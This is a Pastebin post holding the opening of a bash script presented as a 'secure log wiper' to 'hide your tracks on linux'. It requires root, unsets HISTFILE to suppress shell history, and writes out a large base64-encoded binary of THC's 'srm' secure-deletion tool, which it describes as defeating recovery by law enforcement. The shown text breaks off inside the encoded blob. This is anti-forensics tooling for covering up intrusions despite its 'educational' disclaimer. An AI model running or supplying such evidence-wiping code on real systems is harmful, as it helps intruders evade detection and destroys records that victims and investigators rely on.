hackerscommunity

logcleaner - secure log wiper - hide your tracks on linux

Mar 29th, 2016
777
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 38.79 KB | None | 0 0
  1. #!/bin/bash
  2. #
  3. #   SLW -  SECURE LOG WIPER (CLEANER)  - WLS
  4. #          hide your  tracks on linux
  5. #
  6. #  http://www.ethical-hacker.org/
  7. #  https://www.facebook.com/ethicalhackerorg
  8. #  http://pastebin.com/u/hackerscommunity
  9. #
  10. #  Description:
  11. #  Secure Remove
  12. #  srm is designed to delete data on mediums in  a
  13. #  secure  manner  which  can  not be recovered by
  14. #  thiefs, law  enforcement or  other threats. The
  15. #  wipe  algorythm  is  based on the paper "Secure
  16. #  Deletion  of Data from Magnetic and Solid-State
  17. #  Memory"  presented  at  the 6th Usenix Security
  18. #  Symposium  by Peter Gutmann, one of the leading
  19. #  civilian cryptographers.
  20. #
  21. #  Secure memory RAM wiper
  22. #  smem  is designed to  delete data which may lie
  23. #  still  in  your memory (RAM) in a secure manner
  24. #  which  can  not  be  recovered  by  thiefs, law
  25. #  enforcement  or  other  threats. Note that with
  26. #  the  new  SDRAMs, data will not wither away but
  27. #  will be kept static - it is easy to extract the
  28. #  necessary  information!  The  wipe algorythm is
  29. #  based  on  the  paper  "Secure Deletion of Data
  30. #  from Magnetic and Solid-State Memory" presented
  31. #  at  the  6th Usenix Security Symposium by Peter
  32. #  Gutmann,    one  of   the   leading    civilian
  33. #  cryptographers.
  34. #
  35. #  Disclaimer:
  36. #  This  or  previous program  is  for Educational
  37. #  purpose ONLY. Do not use it without permission.
  38. #  The  usual  disclaimer  applies, especially the
  39. #  fact  that  Todor Donev  is  not liable for any
  40. #  damages caused by direct or indirect use of the
  41. #  information or functionality  provided by these
  42. #  programs.  The author or any  Internet provider
  43. #  bears  NO  responsibility for content or misuse
  44. #  of these programs or  any  derivatives thereof.
  45. #  By  using  these  programs  you accept the fact
  46. #  that any damage (dataloss, system crash, system
  47. #  compromise,  etc.)  caused  by the use of these
  48. #  programs is not  Todor Donev's  responsibility.
  49. #
  50. #  Use  at  your  own risk and educational purpose
  51. #  ONLY!
  52. #
  53. #  SPECIAL THANKS TO THC !! SPECIAL THANKS TO THC
  54. #
  55. echo -e "\e[1;36m[\e[1;31m~\e[1;36m]\e[0;36m \tSLW -s- SECURE LOG WIPER\e[0m"
  56. echo -e "\e[1;36m[\e[1;31m~\e[1;36m]\e[0;36m HIDE MY ASS -s- HIDE THE TRACKS ON LINUX\e[0m"
  57. echo -e "\e[1;36m[\e[1;31m~\e[1;36m]\e[0;36m ([email protected]) -s- Todor Donev\e[0m"
  58. echo -e "\e[1;36m[\e[1;31m~\e[1;36m]\e[0;36m http://www.ethical-hacker.org/ -s- (c) 2016\n\e[0m"
  59. if [ "$UID" -ne "0" ];then
  60. echo -e "\e[1;31m[WARNING]: \e[0;36mDude dont be stupid! U r not root user\e[0m"
  61. exit 0
  62. fi
  63. echo -e "\e[0;36m[\e[1;31m*\e[0;36m] Setting file mode creation mask to 0\e[0m"
  64. umask 0
  65. echo -e "\e[0;36m[\e[1;31m*\e[0;36m] unset \e[0;31mHISTFILE\e[0m"
  66. unset HISTFILE
  67. touch srm smem 2>> /dev/null
  68. if [ ! -f srm -a -f smem ]; then
  69. echo -e "\e[1;31m[WARNING]: \e[0;36mSorry, maybe next time..\e[0m"
  70. exit 0
  71. fi
  72. echo -e "\e[0;36m[\e[1;31m*\e[0;36m] Preparing secure wiper\e[0m"
  73. base64 -di > srm << EOF
  74. f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAA0IsECDQAAABUMwAAAAAAADQAIAAIACgAHAAbAAYAAAA0
  75. AAAANIAECDSABAgAAQAAAAEAAAUAAAAEAAAAAwAAADQBAAA0gQQINIEECBMAAAATAAAABAAAAAEA
  76. AAABAAAAAAAAAACABAgAgAQIhC4AAIQuAAAFAAAAABAAAAEAAAAAMAAAALAECACwBAg4AgAAiAIA
  77. AAYAAAAAEAAAAgAAABQwAAAUsAQIFLAECMgAAADIAAAABgAAAAQAAAAEAAAASAEAAEiBBAhIgQQI
  78. RAAAAEQAAAAEAAAABAAAAFDldGTkLQAA5K0ECOStBAgkAAAAJAAAAAQAAAAEAAAAUeV0ZAAAAAAA
  79. AAAAAAAAAAAAAAAAAAAABgAAAAQAAAAvbGliL2xkLWxpbnV4LnNvLjIAAAQAAAAQAAAAAQAAAEdO
  80. VQAAAAAAAgAAAAYAAAASAAAABAAAABQAAAADAAAAR05VAH0HGapr375FLdlWXUS61ViKaQuOAwAA
  81. AC8AAAABAAAABQAAAAIjCiIvAAAAMAAAADIAAAApHYwcrEvjwDnyixwzxPcSAAAAAAAAAAAAAAAA
  82. AAAAADwAAAAAAAAAAAAAABIAAAB/AAAAAAAAAAAAAAASAAAA9AAAAAAAAAAAAAAAEgAAAEoBAAAA
  83. AAAAAAAAABIAAABZAAAAAAAAAAAAAAASAAAAAQAAAAAAAAAAAAAAIAAAAHoAAAAAAAAAAAAAABIA
  84. AACMAAAAAAAAAAAAAAASAAAAcQAAAAAAAAAAAAAAEgAAABsBAAAAAAAAAAAAABIAAABJAQAAAAAA
  85. AAAAAAASAAAAUQEAAAAAAAAAAAAAEgAAAIYAAAAAAAAAAAAAABIAAABJAAAAAAAAAAAAAAASAAAA
  86. KgEAAAAAAAAAAAAAEgAAAGMBAAAAAAAAAAAAABIAAADaAAAAAAAAAAAAAAASAAAAKQAAAAAAAAAA
  87. AAAAEgAAAOUAAAAAAAAAAAAAABIAAACgAAAAAAAAAAAAAAASAAAAxQAAAAAAAAAAAAAAEgAAAHkA
  88. AAAAAAAAAAAAABIAAAAxAQAAAAAAAAAAAAASAAAArAAAAAAAAAAAAAAAEgAAAJMAAAAAAAAAAAAA
  89. ABIAAABqAAAAAAAAAAAAAAASAAAAMAAAAAAAAAAAAAAAEgAAACMBAAAAAAAAAAAAABIAAACmAAAA
  90. AAAAAAAAAAASAAAAAAEAAAAAAAAAAAAAEgAAAFAAAAAAAAAAAAAAABIAAADGAAAAAAAAAAAAAAAS
  91. AAAADgEAAAAAAAAAAAAAEgAAACIBAAAAAAAAAAAAABIAAABlAAAAAAAAAAAAAAASAAAAQQEAAAAA
  92. AAAAAAAAEgAAAMwAAAAAAAAAAAAAABIAAACaAAAAAAAAAAAAAAASAAAAOwEAAAAAAAAAAAAAEgAA
  93. AAcBAAAAAAAAAAAAABIAAABgAAAAAAAAAAAAAAASAAAAswAAAAAAAAAAAAAAEgAAAD0AAAAAAAAA
  94. AAAAABIAAAAVAQAAAAAAAAAAAAASAAAANwAAAAAAAAAAAAAAEgAAANMAAAAAAAAAAAAAABIAAAC+
  95. AAAAYLIECAQAAAARABkAGgAAABylBAgEAAAAEQAPAO0AAABEsgQIBAAAABEAGQBCAAAAQLIECAQA
  96. AAARABkAAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBfSU9fc3RkaW5fdXNlZABmZmx1c2gAc3Ry
  97. Y3B5AGV4aXQAc3JhbmQAb3B0aW5kAHBlcnJvcgBjbG9zZWRpcgBzaWduYWwAcHV0cwB0aW1lAHVu
  98. bGluawBwdXRjaGFyAGZzeW5jAGdldHBpZABjaG1vZAByZXdpbmQAc3RybGVuAHJtZGlyAGZzZWVr
  99. AGNoZGlyAGdldG9wdABfX2Z4c3RhdDY0AHN0ZG91dABmY2xvc2UAbWFsbG9jAGdldGdpZABfX2x4
  100. c3RhdDY0AG9wZW5kaXIAc3RkZXJyAHNldHJsaW1pdDY0AGdldHVpZABnZXRjd2QAZndyaXRlAGZy
  101. ZWFkAHJlbmFtZQBmcHJpbnRmAGZkb3BlbgByZWFkZGlyNjQAc2xlZXAAc2V0dmJ1ZgBmb3BlbjY0
  102. AF9fbGliY19zdGFydF9tYWluAGZyZWUAR0xJQkNfMi4yAEdMSUJDXzIuMQBHTElCQ18yLjAAAAAC
  103. AAIAAwADAAIAAAACAAIAAgACAAMAAgACAAIAAwACAAQAAgACAAIAAwACAAQAAgACAAIAAgACAAIA
  104. AgACAAIAAgACAAIAAgACAAIAAgACAAIABAACAAIAAgACAAIAAQACAAIAAQADABAAAAAQAAAAAAAA
  105. ABJpaQ0AAAQAaAEAABAAAAARaWkNAAADAHIBAAAQAAAAEGlpDQAAAgB8AQAAAAAAANywBAgGBgAA
  106. QLIECAUyAABEsgQIBTEAAGCyBAgFLwAA7LAECAcBAADwsAQIBwIAAPSwBAgHAwAA+LAECAcEAAD8
  107. sAQIBwUAAACxBAgHBgAABLEECAcHAAAIsQQIBwgAAAyxBAgHCQAAELEECAcKAAAUsQQIBwsAABix
  108. BAgHDAAAHLEECAcNAAAgsQQIBw4AACSxBAgHDwAAKLEECAcQAAAssQQIBxEAADCxBAgHEgAANLEE
  109. CAcTAAA4sQQIBxQAADyxBAgHFQAAQLEECAcWAABEsQQIBxcAAEixBAgHGAAATLEECAcZAABQsQQI
  110. BxoAAFSxBAgHGwAAWLEECAccAABcsQQIBx0AAGCxBAgHHgAAZLEECAcfAABosQQIByAAAGyxBAgH
  111. IQAAcLEECAciAAB0sQQIByMAAHixBAgHJAAAfLEECAclAACAsQQIByYAAISxBAgHJwAAiLEECAco
  112. AACMsQQIBykAAJCxBAgHKgAAlLEECAcrAACYsQQIBywAAJyxBAgHLQAAoLEECAcuAABVieVTg+wE
  113. 6AAAAABbgcMsKAAAi5P8////hdJ0BehuAAAA6JEDAADo/BsAAFhbycP/NeSwBAj/JeiwBAgAAAAA
  114. /yXssAQIaAAAAADp4P////8l8LAECGgIAAAA6dD/////JfSwBAhoEAAAAOnA/////yX4sAQIaBgA
  115. AADpsP////8l/LAECGggAAAA6aD/////JQCxBAhoKAAAAOmQ/////yUEsQQIaDAAAADpgP////8l
  116. CLEECGg4AAAA6XD/////JQyxBAhoQAAAAOlg/////yUQsQQIaEgAAADpUP////8lFLEECGhQAAAA
  117. 6UD/////JRixBAhoWAAAAOkw/////yUcsQQIaGAAAADpIP////8lILEECGhoAAAA6RD/////JSSx
  118. BAhocAAAAOkA/////yUosQQIaHgAAADp8P7///8lLLEECGiAAAAA6eD+////JTCxBAhoiAAAAOnQ
  119. /v///yU0sQQIaJAAAADpwP7///8lOLEECGiYAAAA6bD+////JTyxBAhooAAAAOmg/v///yVAsQQI
  120. aKgAAADpkP7///8lRLEECGiwAAAA6YD+////JUixBAhouAAAAOlw/v///yVMsQQIaMAAAADpYP7/
  121. //8lULEECGjIAAAA6VD+////JVSxBAho0AAAAOlA/v///yVYsQQIaNgAAADpMP7///8lXLEECGjg
  122. AAAA6SD+////JWCxBAho6AAAAOkQ/v///yVksQQIaPAAAADpAP7///8laLEECGj4AAAA6fD9////
  123. JWyxBAhoAAEAAOng/f///yVwsQQIaAgBAADp0P3///8ldLEECGgQAQAA6cD9////JXixBAhoGAEA
  124. AOmw/f///yV8sQQIaCABAADpoP3///8lgLEECGgoAQAA6ZD9////JYSxBAhoMAEAAOmA/f///yWI
  125. sQQIaDgBAADpcP3///8ljLEECGhAAQAA6WD9////JZCxBAhoSAEAAOlQ/f///yWUsQQIaFABAADp
  126. QP3///8lmLEECGhYAQAA6TD9////JZyxBAhoYAEAAOkg/f///yWgsQQIaGgBAADpEP3//wAAAAAA
  127. AAAAMe1eieGD5PBQVFJoYKQECGhwpAQIUVZo8JMECOin/f//9JCQkJCQkJCQkJCQkJCQVYnlU41k
  128. JPyAPWSyBAgAdT67DLAECKFosgQIgesIsAQIwfsCg+sBOdhzHZCNdCYAg8ABo2iyBAj/FIUIsAQI
  129. oWiyBAg52HLoxgVksgQIAY1kJARbXcONdgCNvCcAAAAAVYnljWQk6KEQsAQIhcB0ErgAAAAAhcB0
  130. CccEJBCwBAj/0MnDkJCQkJCQkJCQkJCQVYnlg+wYoUSyBAjHRCQIIgAAAMdEJAQBAAAAxwQkJKUE
  131. CIlEJAzoLf7//6GAsgQIhcB4CIkEJOgM/v//6Hf8///HBCQBAAAA6Mv+//+NdgBVieWD7BjHRCQM
  132. T6oECMdEJAhaqgQIx0QkBGuqBAjHBCRIpQQI6I79//+hhLIECMcEJGylBAiJRCQE6Hn9///HBCRw
  133. qgQI6D3+///HBCSUpQQI6DH+///HBCTIpQQI6CX+///HBCQQpgQI6Bn+///HBCRQpgQI6A3+///H
  134. BCR5qgQI6AH+///HBCSEpgQI6PX9///HBCS4pgQI6On9///HBCT8pgQI6N39///HRCQEj6oECMcE
  135. JKKqBAjo+fz//8cEJAEAAADo/f3//5CNdCYAVYnlgex4EQAAiV30i10IjUWIiXX4iX38iUQkCIlc
  136. JATHBCQDAAAA6Az8//+FwA+F7AAAAItNmIHhAPAAAIH5AIAAAA+ExwEAAIt1vDs1yLEECHYWgf78
  137. /wAAD47oAQAAxwXIsQQI//8AAIs1bLIECIX2D4XAAAAAMcCB+QCAAAAPhDICAACB+QBAAAAPhOYB
  138. AAChRLIECIlcJAjHRCQEhKgECIkEJOid/P//oXiyBAiFwA+E6AEAAKHEsQQIiRwkx0QkCAAAAADH
  139. RCQEAAAAAIlEJAzodw4AAItd9It1+It9/InsXcNmkMdEJASAAQAAiRwk6AD7//+hxLEECIkcJIPI
  140. AolEJAToXPr//4XAo4CyBAgPicABAACNtCYAAAAAuAEAAACLXfSLdfiLffyJ7F3DjbYAAAAAgfkA
  141. QAAAD4U0////ixV4sgQIhdIPhZ4DAACNtcfu///HRCQEABAAAIk0JOhA/P//xoXH/v//AIkcJOiB
  142. +///hcAPhYkDAACNhSj///+JRCQIx0QkBNStBAjHBCQDAAAA6Jv6//+Nhcj+//+JRCQIx0QkBNOt
  143. BAjHBCQDAAAA6H36//+LRYiLVYwzlSz///8zhSj///8Jwg+EewEAAKFEsgQIiVwkCMdEJASspwQI
  144. iQQk6Fr7//+JNCToAvv//4XAD4UHBAAAi02YsAGB4QDwAADpbP7//2aQi0Wcg/gBD4Yt/v//g+gB
  145. iUQkDKFEsgQIiVwkCMdEJAQgpwQIiQQk6Az7//+4/////+nf/v//ZpCJ8LpWVVVV9+rB/h8p8os1
  146. bLIECI1EUgOjyLEECIX2D4QL/v//6cb+//+NtgAAAACFwA+FqAAAAKFEsgQIiVwkCMdEJAQsqAQI
  147. iQQk6K/6//8xwOmF/v//xwQkCgAAAOgM+f//6Qf+//+NtCYAAAAAocSxBAiJHCSDyAKJRCQE6Jz4
  148. //+FwKOAsgQID4gP/v//jZUo////iVQkCIlEJATHBCQDAAAA6NX6//+LRYiLVYwzlSz///8zhSj/
  149. //8Jwg+EQwEAAKGAsgQIiQQk6A76//+4AwAAAOkB/v//jXQmAKHEsQQIx0QkCAAAAADHRCQEAQAA
  150. AIkcJIlEJAzoBwwAAOnX/f//ZpCLReCLVeQzVYQzRYAJwg+Fcf7//8cEJNStBAjo6Pj//4XAD4R2
  151. /v//x0QkBMABAADHBCTUrQQI6Gz4///HBCTUrQQI6MD4//+FwImFtO7//w+ESP7//4mdsO7//4ud
  152. tO7//422AAAAAIkcJOjY+P//hcAPhNABAACNeBMPthXUrQQID7ZAEznQD4R6AQAAD7YV060ECDnQ
  153. D4SDAQAAgz14sgQIAHQQiXwkBMcEJL6qBAjo4vj//4tFDIk8JIlEJATo6/v//4XAD46UAQAAg/gD
  154. D4SpAQAAoUSyBAiJfCQIx0QkBMmqBAiJBCToCfn//8cEJIqtBAjovff//+lo////i0Xgi1XkM1WE
  155. M0WACcIPhan+//+LhTj///8lAPAAAD0AgAAAD4WT/v//i1W4oXCyBAiD+gCJRCQUi0W0D45bAQAA
  156. iUQkEKHIsQQIx0QkCAAAAACJRCQMoYCyBAiJRCQEi0UMiQQk6DUNAACJwrhjAAAAhdIPhVv8//+h
  157. xLEECMdEJAgBAAAAx0QkBAAAAACJHCSJRCQM6GUKAADpNfz//8cEJFynBAjovPj//+lR/P//jbQm
  158. AAAAAMdEJATAAQAAiRwk6OD2//+JHCTo2Pf//4XAD4RX/P//oUSyBAiJXCQIx0QkBHynBAiJBCTo
  159. B/j//4tNmDHAgeEA8AAA6Sn7//+NtCYAAAAAD7ZXAToV1a0ECA+EUP7//+lx/v//jXYAD7ZHAToF
  160. 1K0ECA+Fbf7//w+2RwI6BdWtBAgPhCj+///pWP7//412AIuFtO7//4udsO7//4kEJOhs9///6T38
  161. //+DPXiyBAgAD4T6/f//xwQk3qoECOju9///6en9//+hRLIECIl8JAjHRCQE2KcECIkEJOhg9///
  162. 6cv9//98CYP4AA+Hmv7//7gBAAAAjXYA6Y3+//+hRLIECIl0JAjHRCQEBKgECIkEJOgq9///xwQk
  163. iq0ECOje9f//xwQkAQAAAOjC9///jXYAjbwnAAAAAI1MJASD5PD/cfxVieVXVlNRg+xYiwGLWQSJ
  164. RcSLA4N9xAGjhLIECH4Xi0MEv+WqBAi5AgAAAInG86YPhTIEAADoq/j//8dFwAIAAADHRbQAAAAA
  165. kI10JgDHRCQI6KoECIlcJASLVcSJFCTo+fX//4XAD4iJAAAAg+hEg/g2dgnobPj//+vSZpCQjbQm
  166. AAAAAP8khRyrBAiQgwVwsgQIAZDrto22AAAAAIMFeLIECAHrp420JgAAAACDRcAB65pmkIMFbLIE
  167. CAHrj420JgAAAACDfcABg1XA/+l7////jXYAxwXEsQQIAAAAAOlp////kMdFtAEAAADpXP///410
  168. JgCLPUCyBAg7fcQPhO0DAADHRCQEkIwECMcEJAIAAADoFfT//8dEJASQjAQIxwQkDwAAAOgB9P//
  169. x0QkBJCMBAjHBCQBAAAA6O3z//+hxLEECIkEJOhoBAAAixV4sgQIhdJ0TqFwsgQIx0XZcmFuZMdF
  170. 3W9tAADHReEAAAAAhcBmx0XlAADGRecAD4U+AwAAi3XAhfYPhfICAACNRdmJRCQExwQkvKgECOj8
  171. 9P//jXQmAI1FyMdFyP/////HRcz/////x0XQ/////8dF1P////+JRCQExwQkAQAAAOg58///hcAP
  172. hbsCAAAx9jl9xMdFsAAAAAAPjmoBAACJXbzrNmaQD7YGD7YV1K0ECDnCD4VmAQAAD7YV1a0ECDpW
  173. AQ+FVgEAAI22AAAAADl9xItluA+OJAEAAItVvIlluIsEuokEJOgz9P//i1W8g8Afg+DwKcSLBLqD
  174. xwGNdCQfg+bwiTQkiUQkBOgv9P//D7YF96oECDoGD4WHAAAAD7YF+KoECDpGAXV7oUSyBAjHRCQI
  175. OwAAAMdEJAQBAAAAxwQkbKkECIlEJAzoT/T//6FEsgQIx0QkCDYAAADHRCQEAQAAAMcEJKipBAiJ
  176. RCQM6Cr0///HBCQGAAAA6H70//+hRLIECMdEJAhCAAAAx0QkBAEAAADHBCTgqQQIiUQkDOj58///
  177. i020hckPhfb+//+LFXiyBAiF0g+F2AAAAItFwIk0JIlEJATomfb//4P4AInDdXqheLIECIXAD4Tt
  178. /v//xwQk3qoECOgx9P//i2W4OX3ED4/h/v//kI10JgCLfbCF/w+VwA+28Oj4AQAAjWXwifBZW15f
  179. XY1h/MNmkA+2FdOtBAg50HWHD7YF1K0ECDpGAQ+Fd////w+2BdWtBAg6RgIPhIX+///pYv///w+O
  180. sgAAAIP4AXR9g/gDdFChRLIECMdEJAgOAAAAx0QkBAEAAADHBCQLqwQIiUQkDOgb8///hdsPhEP+
  181. //+DRbAB6Tr+//9mkIl0JATHBCS+qgQI6Kjy///pE////412AIl0JAjHRCQEJKoECKFEsgQIiQQk
  182. 6Ofy//+DRbAB6f79//+NtgAAAACJdCQIx0QkBPmqBAihRLIECIkEJOi/8v//xwQkiq0ECOhz8f//
  183. g0WwAenK/f//ZpCD+P8PhU////+DRbAB6bb9//+/5KoECLkDAAAAicbzpg+Fv/v//+m1+///g33A
  184. AXRTxwQkFKkECOjb8v//6Q79//+hRLIECMdEJAguAAAAx0QkBAEAAADHBCQ8qQQIiUQkDOgx8v//
  185. 6Rv9//+LdcDHRdl6ZXJvxkXdAIX2D4S3/P//66eNRdmJRCQExwQk5KgECOix8f//6bT8///o7/P/
  186. /+kJ/P//kJCQkJCQkJCQkFW6q6qqqonli0UMV4tNEFZTi10I9+LR6nQmjRRSjXsBjXMCjRQRZpAP
  187. tgOIAQ+2B4hBAQ+2BohBAoPBAznKdehbXl9dw410JgCNvCcAAAAAVYnlg+wYoXSyBAiFwHQSiQQk
  188. 6MHw///HBXSyBAgAAAAAoXyyBAiFwHQOxwV8sgQIAAAAAMnDZpChRLIECMdEJAhPAAAAx0QkBAEA
  189. AADHBCT4qwQIiUQkDOg78f//ycOQVYnlg+wooWCyBAiJXfSJdfiJffzHRCQMAAAAAMdEJAgCAAAA
  190. x0QkBAAAAACJBCToNPH//6FEsgQIx0QkDAAAAADHRCQIAgAAAMdEJAQAAAAAiQQk6A/x///o6u7/
  191. /4nD6KPw//+Jxuic8f//xwQkAAAAAInH6N7w//+NNDeNHB4xw4kcJOiu7v//i00IxwV0sgQIAAAA
  192. AIXJdR2LXfSLdfiLffzHBXyyBAgBAAAAiexdw422AAAAAMdEJARgrQQIxwQkYq0ECOgM7///hcCj
  193. dLIECHTGixV4sgQIhdJ0vMdEJARirQQIxwQkb60ECOj17///66aNdCYAjbwnAAAAAFWJ5VdWU4Ps
  194. LIt1CIk0JOik7///jVj/jTweD7YHPC90boXbeQ3raJA8L422AAAAAHRdPC50S+id8P//iUXk20Xk
  195. 2A3crQQI2X3iD7dF4tgN4K0ECLQMZolF4LhP7MRO2W3g213k2W3ii03k9+mJyMH4H8H6AynCa9Ia
  196. KdGDwWGID4PrAYXbD7YEHo08HnmZg8QsW15fXcOJ9o28JwAAAABVieVXVlOD7CyLdQiJNCToBO//
  197. /4PAEIkEJOi57///iz14sgQIhf+Jww+FaQEAAMcEJAAAAAHone///4l0JASJHCSJx+jv7v//iTQk
  198. 6Mfu//+AfAb/L3QOiRwk6Lju//9mxwQDLwCJHCQx9uio7v//jQQDxwB4eHh4x0AEeHh4eMdACC54
  199. eHjGQAwAx0XkAAAAAOs0jXQmAIkcJOh47v//iQQk6DDv//+JBLeDxgGJXCQEiQQk6H7u//+DfeQE
  200. fzaB/v//PwB/LokcJOiQ/v//x0QkCIABAADHRCQEwQAAAIkcJOjg7P//hcB5rINF5AGDfeQEfsro
  201. /ez//4N95AR+Z4X2xwS3AAAAAHQhMdtmkIsEn4kEJOgN7v//iwSfg8MBiQQk6F/t//853n/jiTwk
  202. 6FPt///ovuz//4sdeLIECIXbdQyDxCxbXl9dw410JgDHRQidrQQIg8QsW15fXenl7f//kI10JgCh
  203. RLIECMdEJAgkAAAAx0QkBAEAAADHBCRIrAQIiUQkDOgL7v//6W////+NtgAAAADHBCSLrQQI6KTt
  204. ///phv7//420JgAAAABVieVXVlOD7HyLRQiJBCToVO3//4t9EIPAH4Pg8CnEjVwkG4Pj8IX/D4X6
  205. AAAAi0UIMfaJHCSNfYiJRCQE6Ebt//+NtgAAAACJHCToYP3//4l8JAiJXCQExwQkAwAAAOiE7P//
  206. hcB4CIPGAYP+ZH7Yg/5kf0uLRQiJXCQEiQQk6PTr//+FwA+F1AAAAItNDIXJdF+JHCTone3//4XA
  207. D4X9AAAAixV4sgQIhdIPhT8BAACNZfQxwFteX13DkI10JgCLRQjHRCQEkKwECIlEJAihRLIECIkE
  208. JOgc7f//i0UIiRwkiUQkBOid7P//i00Mhcl1oYkcJOh+7P//hcAPhd4AAACheLIECIXAdKaLRQjH
  209. BCTBrQQIiUQkBOh67P//jWX0McBbXl9dw4t1DIX2D4X7/v//i0UUDQECAACJRCQEi0UIiQQk6M7q
  210. //+FwA+I3P7//4kEJOh+7P//6c/+//+Qi0UIx0QkBHCsBAiJRCQIoUSyBAiJBCTofOz//8cEJIqt
  211. BAjoMOv//4tFCIkcJIlEJATo8ev//+nw/v//jXQmAItFCMcEJMCsBAiJRCQE6OXr///HBCSKrQQI
  212. 6Pnq//+LRQiJHCSJRCQE6Krq//+NZfS4/////1teX13DkI10JgCLRQjHBCTsrAQIiUQkBOu+i0UI
  213. xwQkqK0ECIlEJATolev//41l9DHAW15fXcONdgBVieVXVlOD7CyhdLIECIt1CIt9DIXAdCCJRCQM
  214. x0QkCAEAAACJdCQEiTwk6Fjs//+DxCxbXl9dw4X2dPQx22aQ6DPs//+JReTbReTYDdytBAjZfeIP
  215. t0Xi2A3grQQItAxmiUXg2W3g313e2W3iD7dF3ogEH4PDATned8WDxCxbXl9dw422AAAAAI28JwAA
  216. AABVieVXVlOB7DwAAQCLDXyyBAiLXRSLfRiFyQ+ESAQAAItFDMdEJATWrQQIiQQk6PXp//+FwInG
  217. D4QKBAAAhf/HheD//v8AAAAAD4WZAQAAi1UQhdIPhUIEAACJNCToVun//4tFHIXAD4WTAQAAi30I
  218. hf8PhJYAAACNhen//v+JheT//v+JRCQIiVwkBMcEJDGyBAjoyPj//4uV4P/+/4XSD4STAQAAvwEA
  219. AACQjXQmAIuF5P/+/4PHAYl0JAyJXCQIx0QkBAEAAACJBCTod+r//zm94P/+/3PXoXiyBAiFwA+F
  220. gwEAAIk0JOhq6f//i0UMiQQk6J/p//+FwA+IkQMAAIt9CDHAhf8PhDwCAADHhdj//v/RsQQIx4Xc
  221. //7/AAAAAMeF5P/+/wAAAACNdCYAi00QhckPhe0CAACJNCTodej//4uV5P/+/4XSD48GAwAAi4Xk
  222. //7/g+gFg/gaD4YdAQAAi30chf90F4O95P/+/yQPhGkCAACDfQgBD4RpAgAAi43g//7/hckPhMkB
  223. AAC/AQAAAOsvZpCNhen//v+DxwGJdCQMiVwkCMdEJAQBAAAAiQQk6I/p//85veD//v8PgjMBAACL
  224. ldz//v+F0nXJjYXp//7/iUQkBIkcJOiP/f//67WQjXQmAIn4MdL384PAAYmF4P/+/+lT/v//jXQm
  225. AItNCIXJD4Vt/v//jYXp//7/iYXk//7/iUQkCIlcJATHBCQ0sgQI6DX3//+LleD//v+F0g+Fbf7/
  226. /4u95P/+/5CJdCQMiVwkCMdEJAQBAAAAiTwk6PDo//852HTkoXiyBAiFwA+Eff7//8cEJCoAAADo
  227. U+f//+ls/v//jbYAAAAAjYXp//7/iUQkCIuF2P/+/4lcJASJBCToxPb//4uF4P/+/4XAD4T2AAAA
  228. iZ3U//7/i53g//7/vwEAAACQjXQmAIuF1P/+/4PHAYl0JAzHRCQEAQAAAIlEJAiNhen//v+JBCTo
  229. Yej//zn7c9WLndT//v+NtCYAAAAAiTQk6Fjn//+LRQyJBCTojef//4XAD4gFAQAAoXiyBAiFwA+F
  230. qAAAAIOF5P/+/wGDhdj//v8Dg73k//7/JQ+F9f3//4k0JOhF5///6GDm//8xwIHEPAABAFteX13D
  231. jXYAi73c//7/6yaNhen//v+JdCQMiVwkCMdEJAQBAAAAiQQk6Mrn//852A+Fcv///4X/ddaNhen/
  232. /v+JRCQEiRwk6NT7///rwmaQjYXp//7/iXQkDIlcJAjHRCQEAQAAAIkEJOiK5///Odh03ukx////
  233. kMcEJCoAAADo9OX//+lH////jbQmAAAAAIN9CAIPhY39//+Nhen//v+JRCQIiVwkBMcEJDSyBAjo
  234. XPX//8eF3P/+/wEAAADpbv3//5CNdCYA6Ivl///p8f7//422AAAAAItFEMdEJAgAAAAAiTQkiUQk
  235. BOg55v//hcAPhPz8//+BxDwAAQC4/////1teX13Dg30IAQ+P8Pz//+nV/v//ZpChRLIECMdEJAhJ
  236. AAAAx0QkBAEAAADHBCQUrQQIiUQkDOi75v//6Y77///oEeX//+ll/P//i0UQx0QkCAAAAACJNCSJ
  237. RCQE6MXl//+FwA+Ep/v//+uKkJCQVYnlXcNmZi4PH4QAAAAAAFWJ5VdWU+hPAAAAgcNlDAAAg+wc
  238. 6B/k//+NuyD///+NgyD///8px8H/AoX/dCQx9otFEIlEJAiLRQyJRCQEi0UIiQQk/5SzIP///4PG
  239. ATn+ct6DxBxbXl9dw4scJMOQkFWJ5VONZCT8oQCwBAiD+P90ErsAsAQIkI1b/P/QiwOD+P919I1k
  240. JARbXcOQVYnlU4PsBOgAAAAAW4HD2AsAAOjs5v//WVvJwwMAAAABAAIAAAAAAFRlcm1pbmF0ZWQg
  241. Ynkgc2lnbmFsLiBDbGVhbiBleGl0LgoAAHNybSAlcyAoYykgMTk5Ny0yMDAzIGJ5ICVzIDwlcz4K
  242. CgAAAFN5bnRheDogJXMgWy1kZmxydnpdIGZpbGUxIGZpbGUyIGV0Yy4KCgAJLWQgIGlnbm9yZSB0
  243. aGUgdHdvIGRvdCBzcGVjaWFsIGZpbGVzICIuIiBhbmQgIi4uIi4ACS1mICBmYXN0IChhbmQgaW5z
  244. ZWN1cmUgbW9kZSk6IG5vIC9kZXYvdXJhbmRvbSwgbm8gc3luY2hyb25pemUgbW9kZS4AAAAACS1s
  245. ICBsZXNzZW5zIHRoZSBzZWN1cml0eSAodXNlIHR3aWNlIGZvciB0b3RhbCBpbnNlY3VyZSBtb2Rl
  246. KS4AAAktciAgcmVjdXJzaXZlIG1vZGUsIGRlbGV0ZXMgYWxsIHN1YmRpcmVjdG9yaWVzLgAAAAAJ
  247. LXogIGxhc3Qgd2lwZSB3cml0ZXMgemVyb3MgaW5zdGVhZCBvZiByYW5kb20gZGF0YS4ACnNybSBk
  248. b2VzIGEgc2VjdXJlIG92ZXJ3cml0ZS9yZW5hbWUvZGVsZXRlIG9mIHRoZSB0YXJnZXQgZmlsZShz
  249. KS4AAABEZWZhdWx0IGlzIHNlY3VyZSBtb2RlICgzOCB3cml0ZXMpLgBFcnJvcjogRmlsZSAlcyAt
  250. IGZpbGUgaXMgaGFyZGxpbmtlZCAlZCB0aW1lKHMpLCBza2lwcGluZyEKAABESVJFQ1RPUlkgKGdv
  251. aW5nIHJlY3Vyc2l2ZSBub3cpAENhbid0IGNoZGlyKCkgdG8gJXMsIGhlbmNlIEkgY2FuJ3Qgd2lw
  252. ZSBpdC4KAAAAAFJhY2UgZm91bmQhIChkaXJlY3RvcnkgJXMgYmVjYW1lIGEgbGluaykKAAAARmls
